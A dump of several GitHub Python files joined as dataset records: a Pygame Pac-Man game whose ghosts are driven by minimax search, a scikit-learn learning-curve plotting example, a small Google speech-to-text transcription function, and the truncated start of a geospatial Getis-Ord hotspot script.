col, imagePath, isPacMan ):\n self.imgPath = imagePath\n self.row = row\n self.col = col\n self.speed = SPEED\n self.dir = 0 # 0: North, 1: East, 2: South, 3: West 0 là đi lên. 1 là sang phải 2 là xuống dưới 3 là sang trái\n self.newDir = 0\n self.isPacMan = isPacMan\n\n def startDraw(self) :\n p = pygame.image.load(src + imgPacClose)\n p = pygame.transform.scale(p, (square, square))\n screen.blit(p, (self.row * square, self.col * square, square, square))\n \n \n def update(self) :\n global score\n if self.newDir == 0:\n if canMove(self.row,self.col, self.newDir ) == True :\n (y,x) = reachCel(self.row,self.col,self.newDir)\n self.row -= self.speed\n self.dir = self.newDir\n # print(0)\n \n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n return\n elif self.newDir == 1: # 26 , 13,5\n if canMove(self.row,self.col,1):\n (y,x) = reachCel(self.row,self.col,self.newDir)\n self.col += self.speed\n self.dir = self.newDir\n # print(1)\n \n if self.isPacMan == 1 :\n if ( curPoint[y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[ y ][ x ] = 0\n return\n elif self.newDir == 2:\n if canMove(self.row,self.col,2):\n (y,x) = reachCel(self.row,self.col,self.newDir)\n\n self.row += self.speed\n self.dir = self.newDir\n # print(2)\n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n return\n elif self.newDir == 3:\n if canMove(self.row,self.col,3):\n (y,x) = reachCel(self.row,self.col,self.newDir)\n self.col -= self.speed\n self.dir = self.newDir\n # print(3)\n if self.isPacMan == 1 :\n if ( curPoint[ y ][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n return\n #\n\n #print(\"does it can happen ?\") \n\n if self.dir == 0:\n if canMove(self.row,self.col,0):\n (y,x) = reachCel(self.row,self.col,self.dir)\n self.row -= self.speed\n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n # print(0)\n \n elif self.dir == 1:\n if canMove(self.row,self.col,1):\n (y,x) = reachCel(self.row,self.col,self.dir)\n self.col += self.speed\n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n # print(1)\n \n elif self.dir == 2:\n if canMove(self.row,self.col,2):\n (y,x) = reachCel(self.row,self.col,self.dir)\n self.row += self.speed\n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n # print(2)\n elif self.dir == 3:\n if canMove(self.row,self.col,3):\n (y,x) = reachCel(self.row,self.col,self.dir)\n self.col -= self.speed\n if self.isPacMan == 1 :\n if ( curPoint[ y][ x] == 2 ) :\n score+=1\n showScore(5,5)\n curPoint[ y ][ x ] = 0\n else:\n mx1[y][x] = 0\n # print(3)\n\n def drawBlackRectangle(self, row, col) : # draw image\n pygame.draw.rect(screen, (0, 0, 0) , (col * square, row * square, square, square))\n\n def drawBlackBoxAndDot(self, row, col) :\n #print(row)\n #print(col)\n if curPoint[row][col] == 2 :\n self.drawBlackRectangle(row, col)\n pygame.draw.circle(screen, pelletColor, (col * square + square // 2, row * square + square // 2),\n square // 4)\n else :\n self.drawBlackRectangle(row, col)\n # print(\"yes i'm printting black box\")\n # print(row,col)\n \n def clearCurObjImage(self):\n\n # only row or col can be float . other is not\n #print(self.row)\n #print(self.col)\n #print(isInt( self.row ))\n\n if isInt( self.row ) :\n self.drawBlackBoxAndDot(int(self.row), math.floor(self.col))\n self.drawBlackBoxAndDot(int(self.row), math.ceil(self.col))\n else :\n self.drawBlackBoxAndDot(math.floor(self.row), int(self.col) )\n self.drawBlackBoxAndDot(math.ceil(self.row), int(self.col) )\n\n # Draws pacman based on his current state\n\n def drawCurObjImage(self): # draw image\n p = pygame.image.load(src + self.imgPath)\n p = pygame.transform.scale(p, (square, square))\n screen.blit(p, (self.col * square, self.row * square, square, square))\n\n\n def pause(time) :\n cur = 0\n while not cur == time:\n cur += 1\n\n\nclass Pacman (MovableObj):\n def __init__(self, row, col,impPac,isPacMan) :\n MovableObj.__init__(self,row,col,imgPacClose,isPacMan ) \n \n\nclass Blinky(MovableObj):\n def __init(self,row,col,blinky,isPacMan):\n MovableObj.__init__(self,row,col,blinky,isPacMan ) \n\n\ndef drawMap():\n screen.fill((0, 0, 0)) # fill background màu black\n for i in range(len(gameBoard)):\n for j in range(len(gameBoard[0])):\n if gameBoard[i][j] == 3:\n tileImage = pygame.image.load(src + y)\n tileImage = pygame.transform.scale(tileImage, (square, square))\n screen.blit(tileImage, (j * square, i * square, square, square))\n elif gameBoard[i][j] == 2: # Draw Tic-Tak\n pygame.draw.circle(screen, pelletColor, (j * square + square // 2, i * square + square // 2),\n square // 4)\n\n\n\n\n\n\ndef doGhostMovRand():\n while True :\n new = randrange(4)\n if new != S1.dir: \n S1.newDir = new\n break\n new = randrange(4)\n if new != S2.dir: \n S2.newDir = new\n break\nstep = 0 \n\n\n### MINIMAXXXXXXX\n\nmnmCurPoint = copy.deepcopy(curPoint)\n\nclass Node:\n def __init__(self,PacmanPosition,pG1,pG2):\n self.PP = PacmanPosition\n self.G1 = pG1\n self.G2 = pG2\n \n\ndef isTouch(a , b) :\n if a[0] == b[0] and abs( a[1] - b[1] ) < 1.0 :\n return True \n if a[1] == b[1] and abs( a[0] - b[0] ) < 1.0 :\n return True \n return False\n\n\n\n#some contance\nglobal NUM_MAP_DOT\nNUM_MAP_DOT=0\n\nfor i in range(len(gameBoard) ) :\n for j in range(len(gameBoard[0]) ) :\n if gameBoard[i][j] == 2:\n NUM_MAP_DOT+=1\n\nMAXIMUMSCORE = 10000 * 10000\nINF = 100000 * 100000 \n\nremDot = numOfPoint\nprint(f'Rem dot : {remDot}')\n\ndef isPacWin(curDot):\n return curDot >= NUM_MAP_DOT\n\ndef randomD():\n l1 = randrange(1000000000)\n m1 = randrange(1000000000)\n x1 = l1 % m1\n #print(x1)\n l1 = randrange(1000000000)\n m1 = randrange(1000000000)\n #print(x1)\n x1 = x1 + l1 % m1\n return x1 % 4\n\n\n# return ( score , list of point ) alway is G1 , G2\n# *** ( row , col )\n# 0 - up, 1 - right, 2 - down, 3 - left\nSPEEDP = 4/4\nd4val = [ (-SPEEDP,0), (0,SPEEDP), (SPEEDP,0), (0,-SPEEDP) ]\nSPEEDG = 4/4\nd4valG = [ (-SPEEDG,0), (0,SPEEDG), (SPEEDG,0), (0,-SPEEDG) ]\n\n\ndef inside( a , b1, b2 ) :\n if b1[0] == b2[0] and a[0] == b1[0] :\n l = min( b1[1] , b2[1] )\n r = max( b1[1] , b2[1] )\n return l <= a[1] and a[1] <= r\n if b1[1] == b2[1] and a[1] == b1[1] :\n l = min( b1[0] , b2[0] )\n r = max( b1[0] , b2[0] )\n return l <= a[0] and a[0] <= r\n\n return False\n \n \n\ndef isPacLose( node , d1 , d2 ):\n #check pacman is touched by ghost\n return inside( node.PP , ( node.G1[0] - d4valG[d1][0] , node.G1[1] - d4valG[d1][1] ) , node.G1 ) or inside( node.PP , ( node.G2[0] - d4valG[d2][0] , node.G2[1] - d4valG[d2][1] ) , node.G2 )\n #check pacman is touched by ghost\ndef pacIsBlocked( snode ):\n node = Node( ((int)(snode.PP[0]),(int)(snode.PP[1]) ) , ((int)(snode.G1[0]) ,(int)(snode.G1[1])) , ((int)(snode.G2[0]) ,(int)(snode.G2[1]) ) )\n\n\n # print(f'node : {node.PP} {node.G1} {node.G2} ' )\n res = [ (-1,-1) , (-1,-1) ]\n\n notReachP = True\n\n q = queue.Queue(maxsize = 10000)\n # print(f' {WS} {HS} ')\n done = [ [ 0 for i in range(WS)] for j in range(HS) ] \n \n trace = [ [ 0 for i in range(WS)] for j in range(HS) ] \n\n MAXDISC = 1000000\n disc = [ [ MAXDISC for i in range(WS)] for j in range(HS) ] \n\n q.put( [ node.G1 , -1 ] )\n disc[node.G1[0]][node.G1[1]] = 0\n while( not q.empty() ) :\n front = q.get()\n predir = front[1]\n x = front[0][0]\n y = front[0][1]\n # print(f'{x} {y}')\n done[x][y] = 1\n trace[x][y] = predir\n\n if (x == node.PP[0] and y == node.PP[1]):\n notReachP = False\n break;\n\n for d in range(4) :\n xx = x + d4x[d]\n yy = y + d4y[d]\n\n if xx < 0 or xx >= HS or yy < 0 or yy >= WS :\n continue\n if done[xx][yy] == 0 and mx1[xx][yy] != 3 :\n q.put( [ (xx,yy) , d ] )\n disc[xx][yy] = min(disc[xx][yy] , disc[x][y] + 1)\n\n # print(f'disc g1 to pp { disc[ node.PP[0] ][ node.PP[1] ] }')\n #no path to P ? never exit, but for sure\n # if notReachP :\n # print(\"no path from g1 to p\")\n u = node.PP\n dir1 = -1\n \n #tracing for d1_P\n\n done2 = [ [ 0 for i in range(WS)] for j in range(HS) ] \n trace2 = [ [ 0 for i in range(WS)] for j in range(HS) ] \n\n while( u != node.G1 ):\n done2[ u[0] ][ u[1] ] = 1\n done[ u[0] ][ u[1] ] = 2\n # print(f'p1 : {u}')\n dir1 = trace[ u[0] ] [ u[1] ]\n u = ( u [0] - d4x[dir1] , u[1] - d4y[dir1] )\n\n # for i in range(HS):\n # for j in range(WS):\n # print(done[i][j],end=\" \")\n # print() \n # print() \n\n #pith good d point shorest path form Pac to P2 do not overlap the path 1\n\n notReachG2 = True\n\n q = queue.Queue(maxsize = 10000)\n\n q.put( [ node.PP , -1 ] )\n disc2 = [ [ MAXDISC for i in range(WS)] for j in range(HS) ] \n disc2[ node.PP[0] ][ node.PP[1] ] = 0\n while( not q.empty() ) :\n front = q.get()\n predir = front[1]\n x = front[0][0]\n y = front[0][1]\n done2[x][y] = 1\n trace2[x][y] = predir\n\n if (x == node.G2[0] and y == node.G2[1]):\n notReachG2 = False\n break;\n\n for d in range(4) :\n xx = x + d4x[d]\n yy = y + d4y[d]\n\n if xx < 0 or xx >= HS or yy < 0 or yy >= WS :\n continue\n if done2[xx][yy] == 0 and mx1[xx][yy] != 3 :\n q.put( [ (xx,yy) , d ] )\n disc2[xx][yy] = min(disc2[xx][yy] , disc2[x][y] + 1)\n\n #no path to P ? never exit, but for sure\n # print(f'disst2 {disc2[ node.G2[0] ][ node.G2[1] ]} ')\n # if notReachG2 :\n # print(\"no path from PP to G2 \")\n\n \n\n #tracing for dir2\n # print(notReachG2)\n # if notReachG2 :\n # print(\"no path from pp to g2\")\n # return (dir1,-1)\n u = node.G2\n dir2 = -1\n\n while( not notReachG2 and u != node.PP ):\n # print(u)\n done2[ u[0] ] [ u[1] ] = 2\n dir2 = trace2[ u[0] ] [ u[1] ]\n # print(f'p2 : {u}')\n u = ( u [0] - d4x[dir2] , u[1] - d4y[dir2] )\n \n # print(\"shiet\")\n dir2 = trace2[node.G2[0]][node.G2[1]]\n # print(f'dir2 : {dir2} ')\n # print(f'dir2 : {dir2} ')\n\n\n # for i in range(HS):\n # for j in range(WS):\n # print(done[i][j],end=\" \")\n # print() \n # print() \n # for i in range(HS):\n # for j in range(WS):\n # print(done2[i][j],end=\" \")\n # print() \n # print() \n # print() \n\n #tracing time 2 for check no way to pac escapse\n\n check = True\n # print(f'dis pp (g1) {disc[ node.PP[0] ][ node.PP[1] ]}')\n u = node.PP\n done[ node.G1[0] ][ node.G1[1] ] = 2\n while( u != node.G1 ):\n if disc[ u[0] ][ u[1] ] <= disc[ node.PP[0] ][ node.PP[1] ] and disc[ u[0] ][ u[1] ] >= disc[ node.PP[0] ][ node.PP[1] ]/2 :\n x = u[0]\n y = u[1]\n for d in range(4):\n xx = x + d4x[d]\n yy = y + d4y[d]\n if xx < 0 or xx >= HS or yy < 0 or yy >= WS :\n continue\n if ( done[xx][yy] != 2 and ( notReachG2 or done2[xx][yy] != 2 ) and mx1[xx][yy] != 3) :\n # print(f'False case : {x} {y} d : {disc[x][y]}, {xx} {yy} ')\n check = False\n\n dir = trace[ u[0] ][ u[1] ]\n u = ( u [0] - d4x[dir] , u[1] - d4y[dir] )\n \n # after check path form g1 to pp \n # if there're no path to g2 and check still true\n # so g1 is enough to blockpac\n\n if check and notReachG2 :\n # print(\"case g1 is enough to block pp\")\n return (dir1 , randrange(4))\n if (not check):\n return (-1,-1)\n\n # print(f'dis g2 {disc2[ node.G2[0] ][ node.G2[1] ]}')\n u = node.G2\n while( u != node.PP ):\n if disc2[ u[0] ][ u[1] ] <= disc2[ node.G2[0] ][ node.G2[1] ] and disc2[ u[0] ][ u[1] ] <= disc2[ node.G2[0] ][ node.G2[1] ]/2 :\n x = u[0]\n y = u[1]\n for d in range(4):\n xx = x + d4x[d]\n yy = y + d4y[d]\n if xx < 0 or xx >= HS or yy < 0 or yy >= WS :\n continue\n if ( done[xx][yy] != 2 and done2[xx][yy] != 2 and mx1[xx][yy] != 3) :\n # print(f'False case 2 : {x} {y} d : {disc[x][y]}, {xx} {yy} ')\n check = False\n\n dir = trace2[ u[0] ][ u[1] ]\n u = ( u [0] - d4x[dir] , u[1] - d4y[dir] )\n\n\n # print(f'check : {check} ')\n if check :\n return (dir1, (dir2 + 2)%4 )\n else :\n return (-1,-1)\n\ndef minimax(node, isMax, depth, curScore, alpha, beta, curDot, dir1, dir2) :\n currentScore = curScore\n # print()\n # print(f' {isMax} CurScore {currentScore} depth : {depth} {node.PP} {node.G1} {node.G1} ')\n #CHECK FOR TERMINAL NODE / LEAF\n #case when over the MAXDEPTH\n \n #pacwin \n if isPacWin(curDot) :\n # print(\"PACMAN WIN !PACMAN WIN !\")\n return ( INF + score , [ 0,0 ] ) \n #paclose\n\n \n if dir1 != -1 and isPacLose( node , dir1, dir2 ) :\n # print(\"PACMAN LOSE !\")\n return ( -INF + score , [ 0,0 ] )\n dirb = (-1,-1)\n if ( isInt(node.PP[0]) and isInt(node.PP[1]) and isInt(node.G1[0]) and isInt(node.G1[1]) and isInt(node.G2[0]) and isInt(node.G2[1])):\n # print(f'{node.G1[0]} , {node.G1[1]}')\n dirb = (-1,-1)\n dirb = pacIsBlocked(node)\n if (dirb != (-1,-1)) :\n # print(\"Pacmin is blocked !!!!\")\n return ( -INF + score , dirb )\n\n if depth >= MAXDEPTH :\n # print(\"REACH MAX DEPTH !\")\n return ( currentScore , [ 0,0 ] )\n \n\n if isMax :\n #pacman turn\n # print(\"MAXNODE - PACMAN TURN\")\n #score , list position\n bestChoice = ( -1 , [ 0,0 ] )\n isEqual = True\n\n startd = randrange(1000000)%4\n\n for sd in range(4) :\n d = ( startd + sd )%4\n newPacPos = ( node.PP[0] + d4val[d][0] , node.PP[1] + d4val[d][1] ) \n\n if( canMove( node.PP[0] , node.PP[1] , d ) ) :\n # print(\"pac canmove somw\")\n\n (dotY,dotX) = reachCel( node.PP[0] , node.PP[1] , d )\n\n # print(f'Pacpos{node.PP}')\n # print(f'newPacpos{newPacPos}')\n # print(f'dot pos : {dotY} {dotX}')\n # print(mnmCurPoint[dotY][dotX])\n \n takenDot = 0\n\n if mnmCurPoint[dotY][dotX] == 2 :\n # print(\"take!\")\n mnmCurPoint[dotY][dotX] = 0\n takenDot = 1\n curDot+=1\n\n \n \n newNode = Node(newPacPos,node.G1,node.G2 )\n\n optChoice = minimax(newNode, False,depth+1, currentScore + takenDot , alpha, beta , curDot , dir1,dir2)\n # print(f' res of depth {isMax} {depth}, {node.PP} {node.G1} {node.G1} : { optChoice[0] } { optChoice[1] } {d} ')\n\n\n if takenDot != 0 :\n #print(\"recover!\")\n mnmCurPoint[dotY][dotX] = 2\n curDot+=1\n\n\n if( bestChoice[0] == -1 or optChoice[0] > bestChoice[0]) : \n #bestChoice = ( optChoice[0], [newPacPos] )\n if bestChoice[0] != -1 :\n isEqual = False \n \n bestChoice =( optChoice[0], [d])\n alpha = max( alpha , bestChoice[0] )\n # if beta <= alpha :\n # #print(\"Prunning Alphabeta !!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n # break\n \n \n \n \n #print(f\"PAC best choice score {bestChoice[0]} of {cnt}\")\n if isEqual :\n return ( bestChoice[0] , [-2,-2] )\n return bestChoice\n \n\n else :\n # print(\"MIN NODE - GHOST TURN\")\n\n bestChoice = ( INF , [-1,-1] )\n isEqual = True\n\n\n startd = randrange(1000000)%4\n\n for sig1 in range(4) :\n for sig2 in range(4) :\n ig1 = (startd + sig1)%4\n ig2 = (startd + sig2)%4\n newPosG1 = ( node.G1[0] + d4valG[ig1][0] , node.G1[1] + d4valG[ig1][1] )\n newPosG2 = ( node.G2[0] + d4valG[ig2][0] , node.G2[1] + d4valG[ig2][1] )\n # shiet1 = canMove( node.G1[0] , node.G1[1] , ig1)\n # shiet2 = canMove( node.G2[0] , node.G2[1] ,ig2) \n # if (depth == 0) :\n # print( f' depth: {depth} : {newPosG1} {newPosG2 } can r { shiet1 } { shiet2 } ')\n if( canMove( node.G1[0] , node.G1[1] , ig1) and canMove( node.G2[0] , node.G2[1] ,ig2) ) :\n\n # print(\"ghost canmove somw\")\n # print(f'Ghost 1 Pos : {node.G1}')\n # print(f'Ghost new 1 Pos : {newPosG1}')\n # print(f'Ghost 2 Pos : {node.G2}')\n # print(f'Ghost new 2 Pos : {newPosG2}')\n\n newNode = Node( node.PP , newPosG1 , newPosG2 )\n optChoice = minimax(newNode, True, depth+1, currentScore, alpha, beta , curDot , ig1 , ig2 )\n # if (depth == 0) :\n # print(f' res of depth {isMax} {depth}, {node.PP} {node.G1} {node.G1} : { optChoice[0] } { optChoice[1] } {ig1} {ig2} ')\n\n\n if( optChoice[0] < bestChoice[0] ) : \n if (bestChoice[1] != [-1,-1]) :\n isEqual = False\n bestChoice = ( optChoice[0], [ig1,ig2] )\n beta = min( beta , bestChoice[0] )\n # if beta <= alpha :\n # #print(\"Prunning Alphabeta !!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n # break\n #print(f\"ghost best choice score {bestChoice[0]} of {cnt}\")\n if isEqual :\n # print(\"equal\")\n # print(bestChoice[0])\n return ( bestChoice[0] , [-2,-2] )\n return bestChoice\n\n\n\n\n# for i in range( len(mx1) ) :\n# for j in range( len(mx1[0]) ) :\n# print(mx1[i][j], end=' ')\n# print()\n\n\ndef bfs( gpos ):\n\n nearestPoint = (-1,-1)\n q = queue.Queue(maxsize=10000)\n q.put( [gpos,-1] )\n #print(f'gpos : {gpos}' )\n done = [[0 for i in range(WS)] for j in range(HS)]\n trace = [[0 for i in range(WS)] for j in range(HS)]\n\n while( nearestPoint == (-1,-1) and not q.empty() ) :\n front = q.get()\n # print(front)\n x = front[0][0]\n y = front[0][1]\n predir = front[1]\n # print(x , y)\n done[x][y] = 1\n\n trace[x][y] = predir\n\n if mx1[ x ][ y ] == 1 :\n nearestPoint = front[0]\n break;\n startd = randrange(100000000) % 4\n # print(f'startd {startd}')\n for d in range(4) :\n # print(f' d : {(d + startd)%4}' )\n xx = x + d4x[ (d + startd)%4 ]\n yy = y + d4y[ (d + startd)%4 ]\n\n if xx < 0 or xx >= len(mx1) or yy < 0 or yy >= len(mx1[0]) :\n continue\n if xx < 0 or xx >= len(done) or yy < 0 or yy >= len(done[0]) :\n continue\n # print(f'xx,yy { (xx,yy) } {done[ xx ] [ yy ]} {mx1[ xx ] [ yy ]}')\n if done[ xx ] [ yy ] == 0 and mx1[ xx ][ yy ] != 3 :\n q.put( [ (xx,yy) , (d + startd)%4 ] )\n # print(f'put { (xx,yy) }')\n \n if (nearestPoint == (-1,-1)) :\n return (nearestPoint,-1)\n\n dir = -1\n u = nearestPoint\n while( u != gpos ) :\n # print(f'u :{u}')\n dir = trace[ u[0] ][ u[1] ]\n u = ( u[0] - d4x[dir] , u[1] - d4y[dir] )\n\n return (nearestPoint , dir )\n\n# mx1[9][1] = 1 \n# mx1[9][5] = 1 \n# mx1[9][6] = 1 \n# x = bfs( (4,3) )\n# print(x)\n\n\ndef dToPoint(gpos, point) :\n\n\n if isInt(gpos[0]) and int(gpos[0]) == point[0]:\n if gpos[1] < point[1] :\n return 2\n else:\n return 0\n if isInt(gpos[1]) and int(gpos[1]) == point[1]:\n if gpos[0] < point[0] :\n return 1\n else:\n return 3\n if gpos[1] < point[1] :\n return 2\n else:\n return 0\n if gpos[0] < point[0] :\n return 1\n else:\n return 3\n\n\ndef fillPath():\n for i in range( len(mx1) ) :\n for j in range( len(mx1[0]) ):\n if mx1[i][j] == 0 :\n mx1[i][j] = 1\n\ndef doGhostMoveByMiniMax(pacPos, G1 , G2):\n\n curNode = Node( pacPos , G1 , G2 )\n minchoice = minimax(curNode,False,0,0,-INF,INF,0,-1,-1)\n \n S1.newDir = minchoice[1][0]\n S2.newDir = minchoice[1][1]\n\n if minchoice[1][0] == -2 and minchoice[0] >= 0:\n # print(\"is random move !\")\n sG1 = ( int(G1[0]) , int(G1[1]) )\n \n res = bfs(sG1)\n dir1 = res[1]\n\n if dir1 == -1 :\n fillPath()\n S1.newDir = randomD()\n else:\n \n S1.newDir = dir1\n\n\n\n # print(f' {G1} {res[0]} {dir1} ')\n # for i in range( len(mx1) ) :\n # for j in range( len(mx1[0]) ):\n # print(mx1[i][j],end='')\n # print()\n # print()\n\n\n S2.newDir = randomD()\n else :\n # print(\"minimax!\")\n S1.newDir = minchoice[1][0]\n S2.newDir = minchoice[1][1]\n #print(minchoice[1][0])\n #print(minchoice[1][1])\n #print()\n\n # print(f'mnm: {minchoice[0]} {S1.newDir} {S2.newDir} ')\n\n\n\n\n\n#GAME CONFIGURE\n\ndrawMap()\nfps = 30\nfpsClock = pygame.time.Clock()\n\n#create and create character\n\nP = Pacman( 4 , 1 ,imgPacClose,1)\n\nS1 = Blinky( 9 , 6 ,blinky,0)\n\nS2 = Blinky( 9 , 7 ,cyanghost,0)\n\n\n\n#MINIMAX'S DEPTH\nMAXDEPTH = 4\n\n\n\n#RAWWWW TESSTTT COPYING CAN REMOVE SAFETY\n\n# curNode = Node( (3,1) , (3,3) , (9,7) ) \n# minchoice = minimax(curNode,False,0,0,-INF,INF,0,-1,-1)\n\n\n# print(minchoice)\n\n# test isblock\n#C1\n# curnode = Node( (6,1), (8,1), (4,1) ) # (0,2) C1\n\n# curnode = Node( (6,1), (8,7), (4,1) ) # (0,2) C1_2\n# curnode = Node( (6,1), (8,7), (3,2) ) # (0,2) C1_3\n# curnode = Node( (6,1), (7,7), (3,2) ) # (0,2) C1_4\n\nP = Pacman( 6 , 1 ,imgPacClose,1)\n\nS1 = Blinky( 9 , 3 ,blinky,0)\n\nS2 = Blinky( 3 , 1 ,cyanghost,0)\n\n#SC\n# curnode = Node( (4,7), (7,4), (4,1) )\n\n\n\n#bad node ************* map 2*************\n# curnode = Node( (3,1), (9,6), (9,7) ) \n\n# case ghost 1 is enough to block pac,************* map 2*************\n# curnode = Node( (3,7), (3,1), (4,1) ) (1,_)\n\n\n#RAWWWW TESSTTT COPYING\n\nP.startDraw\nS1.startDraw\nS2.startDraw\npygame.display.update()\n\n\nstep = 0 \n\ndef isTouch( a , b ) :\n if a[0] == b[0] and abs( a[1] - b[1] ) < 1.0 :\n return True \n if a[1] == b[1] and abs( a[0] - b[0] ) < 1.0 :\n return True \n return False\n\nwhile not game_over:\n if numOfPoint == score:\n # show win announce\n messagebox.showinfo(\"WIN ANNOUNCEMENT\",\"Ban. da~ thang'\") \n game_over = True\n else:\n for event in pygame.event.get():\n #print(f'{P.row} {P.col}')\n if event.type == pygame.QUIT:\n game_over = True\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_w:\n P.newDir = 0\n elif event.key == pygame.K_d:\n P.newDir = 1\n elif event.key == pygame.K_s:\n P.newDir = 2\n elif event.key == pygame.K_a:\n P.newDir = 3\n \n\n if S1.row == P.row:\n if float(abs(P.col-S1.col))<1.0:\n messagebox.showinfo(\"LOSE ANNOUNCEMENT\",\"Game Over!\") \n game_over = True\n continue\n if S2.row == P.row:\n if float(abs(P.col-S2.col))<1.0:\n messagebox.showinfo(\"LOSE ANNOUNCEMENT\",\"Game Over!\") \n game_over = True\n continue\n if S2.col == P.col:\n if float(abs(P.row-S2.row))<1.0:\n messagebox.showinfo(\"LOSE ANNOUNCEMENT\",\"Game Over!\") \n game_over = True\n continue\n \n \n if S1.col == P.col:\n if float(abs(P.row-S1.row))<1.0:\n messagebox.showinfo(\"LOSE ANNOUNCEMENT\",\"Game Over!\") \n game_over = True\n continue\n showScore(5,5)\n\n S1.clearCurObjImage()\n S1.update()\n S1.drawCurObjImage()\n\n S2.clearCurObjImage()\n S2.update()\n S2.drawCurObjImage()\n\n P.clearCurObjImage()\n P.update()\n P.drawCurObjImage() # draw Pacman\n \n # if step % 15 == 0 :\n # doGhostMovRand()\n if isInt(P.row) and isInt(P.col) and isInt(S1.row) and isInt(S1.col) and isInt(S2.col) and isInt(S2.row) :\n # print(f' {P.row} {P.col} {S1.row} {S1.col} {S2.row} {S1.col}')\n doGhostMoveByMiniMax( (P.row,P.col) , (S1.row,S1.col), (S2.row,S2.col))\n # print()\n # print()\n\n pygame.display.update()\n fpsClock.tick(fps)\n step += 1\n\n","repo_name":"pdthang2000/pacman","sub_path":"pacmanmini.py","file_name":"pacmanmini.py","file_ext":"py","file_size_in_byte":34452,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"33961780516","text":"print(__doc__)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import cross_validation\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.datasets import load_digits\nfrom sklearn.learning_curve import learning_curve\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n plt.figure()\n plt.title(title)\n\n if ylim is not None:\n plt.ylim(*ylim)\n\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes\n )\n\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n\n plt.grid()\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1, color=\"r\")\n\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\", label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\", label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n plt.show()\n\ndigits = load_digits()\nX, y = digits.data, digits.target\n\ntitle = \"Learning Curves (Naive Bayes)\"\ncv = cross_validation.ShuffleSplit(digits.data.shape[0], n_iter=100,\n test_size = 0.2, random_state=0)\nestimator=GaussianNB()\nplot_learning_curve(estimator, title, X, y, ylim = (0.7, 1.01), cv=cv, n_jobs=4)\n\ntitle = \"Learning Curves (SVM, RBF Kernel, $\\gamma=0.001$)\"\ncv = cross_validation.ShuffleSplit(digits.data.shape[0], n_iter=10,\n test_size=0.2, random_state=0)\n\nestimator = SVC(gamma=0.001)\nplot_learning_curve(estimator, title, X, y, ylim = (0.7, 1.01), cv=cv, n_jobs=4)\n\nplt.show()\n","repo_name":"peterlebrun/ml_project1","sub_path":"pl_test.py","file_name":"pl_test.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20912291930","text":"# NOTE: PyPI, setup.py (distutils) and PyAudio | It works awesomely! :) | from https://github.com/Uberi/speech_recognition/blob/master/examples/microphone_recognition.py\n\nimport speech_recognition as sr\nfrom os import path\nAUDIO_FILE = path.join(path.dirname(path.realpath(__file__)), \"\")\n\n\ndef transcribeAudio():\n # use the audio file as the audio source\n r = sr.Recognizer()\n with sr.AudioFile(AUDIO_FILE) as source:\n audio = r.record(source) # read the entire audio file\n\n # recognize speech using Google Speech Recognition\n try:\n # for testing purposes, we're just using the default API key\n # to use another API key, use `r.recognize_google(audio, key=\"GOOGLE_SPEECH_RECOGNITION_API_KEY\")`\n # instead of `r.recognize_google(audio)`\n return r.recognize_google(audio)\n except sr.UnknownValueError:\n return \"Google Speech Recognition could not understand audio\"\n except sr.RequestError as e:\n return \"Could not request results from Google Speech Recognition service; {0}\".format(e)\n\n\nprint(transcribeAudio())\n\n","repo_name":"sudoarslan/SpeechToSign","sub_path":"PandT/Speech-to-text.py","file_name":"Speech-to-text.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6034138646","text":"# load dependencies\n# load dependencies\n\nimport pandas as pd\nimport geopandas as gpd\nfrom datetime import datetime\nimport pysal \nfrom pysal import esda\n#import libpysal #added\n\nimport numpy as np\nfrom pyproj import CRS\nimport folium\nfrom pyproj import Transformer\n\n\n'''Project the given lat,lng from EPSG:4326 to EPSG: 25832'''\ninputCRS = CRS.from_epsg(4326)\noutputCRS = CRS.from_epsg(25832)\ntransformer = Transformer.from_crs(inputCRS, outputCRS)\ndef project(a,b):\n return transformer.transform(a, b)\n\n'''Default getis function using pysal library'''\ndef getisOrd(data, value = 'value', threshold = 50, lat = 'lat', lng = 'lng'):\n coords = [project(row[lat], 